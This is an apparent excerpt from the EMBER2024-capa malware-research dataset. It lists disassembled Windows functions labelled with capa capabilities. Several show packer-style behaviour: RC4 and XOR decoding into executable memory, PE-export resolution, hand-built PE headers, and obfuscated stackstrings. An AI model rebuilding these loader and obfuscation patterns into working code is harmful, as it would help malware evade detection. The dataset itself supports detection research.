joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1028a2cd
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x102aa7d4], 0x1938
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1028c256]
mov dh, byte [eax + 0x1028c227]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
jne 0x1028a2ef
lea eax, [ebp - 0x24]
mov dword [0x102aa7d8], 0x14f9
mov dword [ebp - 0x34], eax
call fcn.1028a148
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.10289ccb
mov ecx, dword [0x102aa7d4]
add ecx, 0xfffffb5f
mov dword [0x102aa7d8], ecx
cmp eax, 0
mov dword [ebp - 0x38], eax
je 0x1028a3fb
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.1028a70e
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
mov dword [0x102aa7d4], 0x2cd
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x58], ecx
mov dword [0x102aa7d8], 0x2226
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x54], ecx
add ecx, 0x1fed
mov esi, dword [ebp - 0x3c]
cmp esi, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x1028a3f2
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop ebp
ret
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x1028a40e
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x102aa7d4], 0x512
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x1028a484
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x1028a4fd
jmp 0x1028a514
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x1028a444
jmp 0x1028a514
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x1028a4e8
jmp 0x1028a514
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
je 0x1028a4b1
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x1c], eax
jl 0x1028a484
mov eax, dword [ebp - 0x1c]
mov dword [0x102aa7d8], 0x11c4
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
jne 0x1028a514
mov dword [0x102aa7d8], 0x2624
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x1028a470
jmp 0x1028a514
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x1028a45c
jmp 0x1028a514
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
je 0x1028a523
xor eax, eax
mov dword [0x102aa7d8], 0x1864
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
add esp, 0x20
pop ebp
ret
Function at 0x1028a52b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 8]
mov ecx, dword [0x102aa7d8]
add ecx, 0x77c
mov dword [0x102aa7d8], ecx
mov dword [ebp - 0x10], eax
call fcn.1028ae5d
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov dword [0x102aa7d8], 0x10e8
mov edi, dword [0x102aa7d4]
add edi, 0xfffffe9f
mov dword [0x102aa7d8], edi
mov esi, dword [eax + esi + 0x78]
mov dword [0x102aa7d4], 0x171d
mov ebx, edx
add ebx, dword [eax + esi + 0x20]
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ecx
je 0x1028a69f
jmp 0x1028a5d7
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x34]
xor esi, esi
add eax, 0x77c
mov edi, dword [ebp - 0x14]
mov ebx, dword [edi + ecx*4]
mov dword [0x102aa7d8], eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], esi
jmp 0x1028a5f1
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], esi
jmp 0x1028a5ab
mov eax, dword [ebp - 0x48]
mov ecx, eax
mov edx, dword [ebp - 0x38]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x4d], bh
mov byte [ebp - 0x4e], cl
je 0x1028a643
mov al, byte [ebp - 0x4d]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x4c]
add edx, 1
mov ah, byte [ebp - 0x4e]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x48], edx
jne 0x1028a5f1
mov al, byte [ebp - 0x4e]
test al, 1
jne 0x1028a67c
jmp 0x1028a64c
xor eax, eax
mov ecx, dword [ebp - 0x40]
add ecx, 2
mov edx, dword [ebp - 0x3c]
add edx, 1
mov esi, dword [ebp - 0x18]
cmp edx, esi
mov edi, dword [ebp - 0x44]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x28], eax
jb 0x1028a5ab
jmp 0x1028a69f
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov dword [0x102aa7d4], 0xfffff748
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x28]
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1028ac51
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x102aa7e0], 0
mov byte [0x102aa7e4], 0
mov dword [0x102aa7dc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1028aca7
xor eax, eax
mov ecx, 0x1fdd
mov dword [0x102aa7dc], 0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jmp 0x1028acd9
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x102aa7d4], 0x1fdd
mov eax, dword [0x102aa7dc]
add eax, 1
mov dword [0x102aa7dc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1028aca7
jmp 0x1028ac8e
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, 0x100
add eax, 0xfffff6b9
mov dword [0x102aa7e8], 0
mov dword [ebp - 0x28], eax
mov eax, ecx
xor esi, esi
mov dword [ebp - 0x2c], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [0x102aa7e0]
mov ebx, dword [ebp - 0x18]
movzx esi, byte [ebx + ecx]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x102aa7e8], esi
mov dword [0x102aa7d8], 0x1dfc
mov eax, esi
cdq
mov esi, dword [ebp - 0x2c]
idiv esi
mov dword [0x102aa7e0], edx
mov esi, dword [ebp - 0x28]
mov dword [0x102aa7d4], esi
mov bl, byte [ebx + ecx]
mov byte [0x102aa7e4], bl
mov dword [0x102aa7d8], 0xe30
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov ecx, dword [0x102aa7d8]
add ecx, 0xfffffd81
mov dword [0x102aa7d4], ecx
mov bl, byte [0x102aa7e4]
mov ecx, dword [0x102aa7e0]
mov byte [esi + ecx], bl
mov ecx, dword [0x102aa7dc]
add ecx, 1
mov dword [0x102aa7dc], ecx
cmp ecx, 0x100
mov dword [ebp - 0x30], ecx
jge 0x1028adb0
mov eax, dword [0x102aa7d4]
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], eax
jmp 0x1028acd9
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1028afdb
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x102aa7dc], 0
mov dword [0x102aa7e0], 0
mov dword [0x102aa7ec], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
jne 0x1028b038
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov dword [0x102aa7d4], 0x1e8a
add eax, 1
mov edi, ecx
add edi, 1
mov dword [ebp - 0x2c], edx
cdq
idiv esi
mov dword [0x102aa7dc], edx
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x2c]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x102aa7e0], edx
mov dword [0x102aa7d4], 0x40c5
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x102aa7e4], cl
mov dword [0x102aa7d8], 0x471
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x102aa7e4]
mov edx, dword [0x102aa7e0]
mov byte [ebx + edx], cl
mov edx, dword [0x102aa7dc]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x102aa7e0]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x102aa7ec], ecx
mov dword [0x102aa7d4], 0x1cd9
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x30]
mov ch, byte [edx + esi]
mov dword [0x102aa7d8], 0xbad
mov dword [0x102aa7d4], 0x1439
xor ch, cl
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x38], edi
je 0x1028b030
mov eax, dword [0x102aa7dc]
mov ecx, dword [0x102aa7e0]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
jmp 0x1028b038
Function at 0x1028b13f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [0x102aa7d4], 0x20bf
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1028a804
lea ecx, [0x1028ab01]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x64], edx
mov dword [esp + 0x34], 0x146000
mov edx, dword [0x102aa7c0]
mov dword [esp + 0x30], edx
mov edx, dword [0x102aa7c4]
mov dword [esp + 0x60], edx
mov edx, dword [0x102aa7c8]
mov dword [esp + 0x5c], edx
mov edx, dword [0x102aa7cc]
mov dword [esp + 0x40], edx
mov edx, dword [0x102aa7d0]
mov dword [esp + 0x68], edx
mov dword [0x102aa7d4], 0x212d
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x1028b1db
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x1028b1fe
jmp 0x1028b1ea
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
je 0x1028b1c5
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1028b1db
mov eax, dword [esp + 0x10]
mov dword [esp + 0x3c], eax
mov dword [0x102aa7d8], 0x1fcc
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x44], edx
call fcn.1028a40e
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
jne 0x1028b262
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1028a2cd
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x102aa7d4], 0x1ed4
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x10002b2e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add ecx, 0x20
pop ebp
jmp fcn.100016da

Function at 0x10006590
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov esi, dword [section..data]
cmp esi, 0xffffffff
jne 0x100065b3
call dword [sym.imp.kernel32.dll_TlsAlloc]
mov esi, eax
mov dword [section..data], eax
cmp eax, 0xffffffff
je 0x100065f6
push esi
call dword [sym.imp.kernel32.dll_TlsGetValue]
push eax
call fcn.1003f6e5
add esp, 4
mov ebx, dword [sym.imp.kernel32.dll_TlsSetValue]
push 0
push esi
call ebx
push 0x14
call fcn.1003f6e5
add esp, 4
mov edi, eax
push eax
push esi
call ebx
movaps xmm0, xmmword [0x10040c10]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov eax, edi
pop esi
pop edi
pop ebx
pop ebp
ret
xor edi, edi
jmp 0x100065de

Function at 0x100065fa
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x10
xorps xmm0, xmm0
movups xmmword [esp], xmm0
call fcn.10005b20
sub esp, 0x10
mov esi, dword [section..data]
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_TlsGetValue]
sub esp, 4
mov dword [esp], eax
call fcn.1003f6e5
mov dword [esp], esi
mov dword [esp + 4], 0
call dword [sym.imp.kernel32.dll_TlsSetValue]
add esp, 8
pop esi
pop ebp
ret

Function at 0x100066a2
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push dword [section..data]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x100066b7
pop ebp
ret
pop ebp
jmp fcn.10006590

Function at 0x10008df0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor eax, eax
cmp edx, ecx
je 0x10008e1f
shl eax, 4
movsx esi, byte [edx]
add esi, eax
mov edi, esi
and edi, 0xf0000000
mov eax, edi
shr eax, 0x18
or eax, edi
xor eax, esi
inc edx
cmp ecx, edx
jne 0x10008e01
pop esi
pop edi
pop ebp
ret 8

Function at 0x10008f30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor eax, eax
cmp edx, ecx
je 0x10008f61
shl eax, 4
movzx esi, word [edx]
add esi, eax
mov edi, esi
and edi, 0xf0000000
mov eax, edi
shr eax, 0x18
or eax, edi
xor eax, esi
add edx, 2
cmp ecx, edx
jne 0x10008f41
pop esi
pop edi
pop ebp
ret 8
Function at 0x1003f6e5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1003f6f4
pop dword [ebp - 0x50]
mov eax, 0x960a6740
sub eax, 0x8606704c
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x44f06980
sub dword [ebp - 0x60], 0xf69e2435
mov dword [ebp - 0x5c], 0x751477b1
sub dword [ebp - 0x5c], 0x42e12b6c
mov dword [ebp - 0x58], 0x29be53a7
add dword [ebp - 0x58], 0x228df087
mov dword [ebp - 0x54], 0x856a5f8a
sub dword [ebp - 0x54], 0x856a5f8a
lea eax, [ebp - 0x60]
push eax
mov eax, 0xfedbcfa5
add eax, 0x1128ff3b
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x4f0e67ba
add dword [ebp - 0x60], 0x2564019c
mov dword [ebp - 0x5c], 0xbe204020
add dword [ebp - 0x5c], 0x834c2155
mov dword [ebp - 0x58], 0xb21a33c1
add dword [ebp - 0x58], 0xb15538ab
mov dword [ebp - 0x54], 0x2fc40407
sub dword [ebp - 0x54], 0x2fc40407
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x1abb8bee
sub eax, 0xab6bd6a
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x40e11
push 0
call eax
mov ecx, 0x345edff1
add ecx, 0xcba16ca4
mov edi, eax
mov ebx, 0x272812e
sub ebx, 0xf26ccd2e
add ebx, dword [ebp - 0x50]
mov edx, 0xb11c292c
sub edx, 0xf6694ed5
xor dword [ebp - 8], esi
mov esi, dword [ebx]
sub esi, edx
mov dword [edi], esi
sub dword [ebp - 8], 0xd5bf0df8
add edi, 4
add ebx, 4
loop 0x1003f816
add eax, 0x2094b94
add eax, 0xfdf7d993
xor ebx, ebx
add ebx, eax
add eax, 0x3ceea68c
add eax, 0xc3115979
mov ecx, 0xc67d29ae
sub ecx, 0xb67d29ae
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40633c
pop dword [ebp - 0x3c]
mov eax, 0xb97d5557
sub eax, 0xb93cf21b
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xf166ebdf
add dword [ebp - 0x4c], 0x5ceb596c
mov dword [ebp - 0x48], 0x614c093b
sub dword [ebp - 0x48], 0x2f18bcf6
mov dword [ebp - 0x44], 0x4963d478
sub dword [ebp - 0x44], 0xfd17904a
mov dword [ebp - 0x40], 0x52168485
sub dword [ebp - 0x40], 0x52168485
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xc9dc7e44
sub eax, 0xc99c0de4
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x79d8f51f
sub dword [ebp - 0x4c], 0x5668bc9
mov dword [ebp - 0x48], 0x2789da06
sub dword [ebp - 0x48], 0xe61d7891
mov dword [ebp - 0x44], 0xfece5332
sub dword [ebp - 0x44], 0x9b5ee6c6
mov dword [ebp - 0x40], 0x786f3aac
sub dword [ebp - 0x40], 0x786f3aac
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xf685dfa0
add eax, 0x9ba9160
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x38035
push 0
call eax
mov ecx, 0x4d94
mov esi, eax
mov edi, 0x45444f50
sub edi, 0x45034f50
add edi, dword [ebp - 0x3c]
mov edx, 0x9a5bed5d
sub edx, 0x83488838
xor dword [ebp - 0xc], edi
mov ebx, dword [edi]
xor dword [ebp - 0x18], 0x493650be
sub ebx, edx
mov dword [esi], ebx
xor dword [ebp - 4], edi
add esi, 0x20e01a8f
sub esi, 0x20e01a8b
add edi, 4
loop 0x406458
add eax, 0x12923
xor ebx, ebx
add ebx, eax
add eax, 0xa59ed0ac
sub eax, 0xa59ed0a7
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x413dfa
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x413e20
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x413e20
xor al, al
jmp 0x413e35
mov edx, dword [ebp - 4]
xor eax, eax
xor ecx, ecx
add ecx, esi
adc edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4

Function at 0x415c16
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x415c51
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x415c38
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x415c49
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x415c53
inc edi
add eax, 0x28
cmp edi, esi
jb 0x415c2e
xor eax, eax
pop edi
pop esi
ret

Function at 0x416abd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00415bb4
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.00415be6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00415b9b
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.00415bd6
push ds
jge 0x416bc2
or al, 0x89
test dword [esp + edi*8], ebp
invalid
shr byte [eax + 4], 1
add dword [eax], eax
add byte [ebp - 0x12b7b], cl
call dword [eax - 1]
xchg ebp, eax
sub al, 0xfc
invalid
Function at 0x402110
Capabilities:
Get hostname

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402212
push eax
mov dword fs:[0], esp
sub esp, 4
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
mov esi, ecx
push eax
xor ebx, ebx
push 0x66
call sub.MFC40.DLL_CDialog::CDialog
lea ecx, [esi + 0x68]
lea edi, [esi + 0x172]
mov dword [ebp - 4], ebx
call sub.MFC40.DLL_CAsyncSocket::CAsyncSocket
mov byte [ebp - 4], 1
mov dword [esi + 0x68], 0x404000
mov byte [ebp - 4], 2
mov ecx, edi
call sub.MFC40.DLL_CString::CString
push 0x32
mov ecx, edi
mov byte [ebp - 4], 3
push 0x32
mov dword [esi], 0x404340
mov dword [esi + 0x60], ebx
mov dword [esi + 0x64], ebx
call sub.MFC40.DLL_CString::GetBuffer
push eax
call dword [sym.imp.WSOCK32.dll_gethostname]
mov dword [esi + 0x88], 0x10000
mov dword [esi + 0x16e], eax
mov dword [0x4053a4], ebx
mov dword [esi + 0x16e], 1
mov dword [esi + 0x182], ebx
call sub.MFC40.DLL_AfxGetModuleState
push pe_nt_image_headers32
push 0xe
push pe_nt_image_headers32
call sub.MFC40.DLL_AfxFindResourceHandle
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
pop edi
mov dword [esi + 0x186], eax
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x402d90
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
sub esp, 4
push esi
push edi
mov esi, dword [esp + 0x10]
mov edi, dword [sym.imp.WSOCK32.dll_inet_addr]
push esi
call edi
push esi
cmp eax, 0xffffffff
jne 0x402dcd
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
jne 0x402dbe
mov ax, 0xffff
pop edi
pop esi
add esp, 4
ret 8
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x14]
mov dword [ecx], edx
jmp 0x402dd5
call edi
mov ecx, dword [esp + 0x14]
mov dword [ecx], eax
mov eax, dword [ecx]
push eax
call dword [sym.imp.WSOCK32.dll_inet_ntoa]
mov ecx, dword [eax]
mov dword [esi], ecx
mov edx, dword [eax + 4]
mov dword [esi + 4], edx
mov edi, dword [eax + 8]
mov dword [esi + 8], edi
pop edi
mov ecx, dword [eax + 0xc]
xor ax, ax
mov dword [esi + 0xc], ecx
pop esi
add esp, 4
ret 8